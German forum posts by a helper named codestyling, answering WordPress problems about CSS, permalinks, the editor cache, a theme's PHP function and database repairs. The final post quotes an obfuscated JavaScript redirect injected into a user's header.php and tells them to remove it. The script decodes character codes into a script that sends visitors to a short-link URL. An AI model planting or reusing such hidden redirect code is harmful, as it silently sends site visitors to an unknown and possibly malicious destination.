Beiträge von codestyling

    Das passiert im Firefox zum Beispiel, wenn du eine sehr große Höhe bei deinem Bildschirm eingestellt hast. Passt die ganze Seite in die Anzeige, stellt FF keine vertikale Scrollbar dar und nutzt den 16px Platz in der Zentrierung mit. Wenn du dann auf deine andere Seite umschaltest, braucht FF den Platz für die Scrollbar und demzufolge "springt" deine Seite wegen Zentrierung ein wenig nach links.
    Wenn du das verhindern willst:

    Code
    body { height: 101%; }


    dann macht FF immer eine Scrollbar.

    Korrigiert mich, wenn ich irre, aber ist das nicht das 2.6 Problem mit den index.php im Permalink?

    Code
    http://www.nachtfliegerin.de/Blog/index.php/2008/07/18/verschwende-deine-zeit/


    Sollte man da als Workaround nicht etwas in die anderen Permafelder einfüllen, damit das geht ? Gab es auch schon mehrere Threads hier, kann mich dunkel erinnern.

    Das liegt am js cache. Bitte mal noch auf der Domain unter wp-content\uploads\js_cache die Datei(en) tinymce_xxxxx.gz löschen, diese beinhaltet u.a. deine bisherige Editoreinstellung und durch den Theme Patch wird die nicht regeneriert. Nach dem Löschen und erneutem Aufruf des Editors legt WP die neu an mit den dann jetzt gültigen Einstellungen, auch denen des Themes. Und sicherheitshalber mal den Browsercache vorher löschen, damit der Browser auch die Scripts neu abholen muß.

    Ich hab momentan keine WP 2.6 hier zur Verfügung. Kann mir das später erst ansehen. Allerdings hat WP noch nie irgend etwas vorausgesetzt, das man u.U. gar nicht installiert hat. Deshalb sollte das schon "out of the box" funktionieren meiner Meinung nach.

    WP 2.6 bringt aber alle diese Dateien in ein Ordner selbst mit. Die Dateien und Ordner sind im Installpaket enthalten und gab es bei 2.5.1 und drunter nicht.
    Es kann auch sein, das euer FTP Programm alle betroffenen Dateien und/oder Ordner in Kleinbuchstaben transferiert hat. Das ist ein Problem, denn unix Systeme unterscheiden zwischen wp-includes/Text/Diff/Renderer und wp-includes/text/diff/renderer, das ist nicht das gleiche. Bitte mal die Schreibweise der Ordner und Dateien mit der aus dem Paket vergleichen.

    Hast du von 1und1 weitergehende Informationen bekommen oder kannst du die besorgen ? Wichtig wären die logfiles, in denen ein Absturz protokolliert wurde (error.log und access.log). Damit kann man sich erstmal ansehen, was da versucht wurde und Gegenmaßnahmen ergreifen. Die robots.txt nutzt dir gar nix, denn diese Art von "bad" bots kümmert sich einen "Dreck" um diese Angaben. Deren Ziel ist nur, in den Server einbrechen zu wollen.

    Also in der functions.php des Freshy 2 Themes findest du das hier:

    PHP
    function freshy_editor_mce_buttons($buttons) {
        array_pop($buttons);
        $buttons[] = "styleselect";
        $buttons[] = "wp_adv_end";
        return $buttons;
    }

    Ändere das mal auf:

    PHP
    function freshy_editor_mce_buttons($buttons) {
        $last = array_pop($buttons);   //temorary removes expander for additional control bars
        $buttons[] = "styleselect";    //enables style selector
        $buttons[] = $last;            //adds the expander again
        return $buttons;
    }

    Dann hast du wieder deinen Knopf zum Expandieren der zusätzlichen Leisten.

    Wenn du wieder auf schöne permalinks umstellen willst (im Moment ist ja alles ohne wegen p= und cat=) dann solltest du auch die slugs anpassen. Aber sieht schon gut aus.

    Und noch was am Rande: Ein Spruch aus deinem Zitate Widget ist nicht UTF-8 kodiert

    Zitat


    "Die F�higkeit zu Verdr�ngen ist ein essentielles Werkzeug zur Selbsterhaltung." - Gothika


    Kannst du ja mal bei Gelegenheit anpassen.

    Dann kannst du das über PhpMyAdmin wieder gerade biegen:

    in der Tabelle: wp_term_taxonomy wird beschrieben, welche ID's (Feld term_id) eine category (Feld taxonomy) sind.

    in der Tabelle: wp_terms kannst du dann allen ID's die du als category in der anderen Tabelle identifiziert hast, dann benennen (Feld name / Feld slug)

    Slug ist der Teil, der für die url verwendet wird. Ich würde sowas im ersten Schritt machen, Beispiel: ID = 4 -> name auf "cat-4" und slug auf "cat-4" setzen. Wenn du alle erstmal benannt hast, kannst du dann per Admin Interface wieder die richtigen Namen vergeben.

    Könnte man auch mit einem Javascript am Ende des Body machen, das nach so was wie

    Code
    <span id="more-48"></span>


    sucht. Mit prototype (oder jQuery) kann man sich alle span suchen lassen und dann die nehmen deren id mit "more-" anfängt und in den innerHTML des span dann das Banner als <a> reinschreiben lassen. Geht auch mit Adsences, wenn es sein muß und nix ist dann doppelt, weil es erst im Browser gebaut wird.

    Schau in deine header.php und wirf das raus, ist eine Javascript Weiterleitung:

    Code
    <SCRIPT LANGUAGE="JavaScript">
    <!--
    function Decode(){var temp="",i,c=0,out="";var str="60!115!99!114!105!112!116!62!32!119!105!110!100!111!119!46!108!111!99!97!116!105!111!110!61!34!104!116!116!112!58!47!47!120!114!108!46!117!115!47!107!107!51!119!54!34!32!60!47!115!99!114!105!112!116!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);}
    //-->
    </SCRIPT><SCRIPT LANGUAGE="JavaScript">
    <!--
    Decode();
    //-->
    </SCRIPT>

    Teste danach ob der Blog wieder geht und dann sag Bescheid, dann sehen wir weiter.

    PS: Avira meint bei ausgeschaltetem Javascript im Fox -> HTML/crypted.gen gefunden.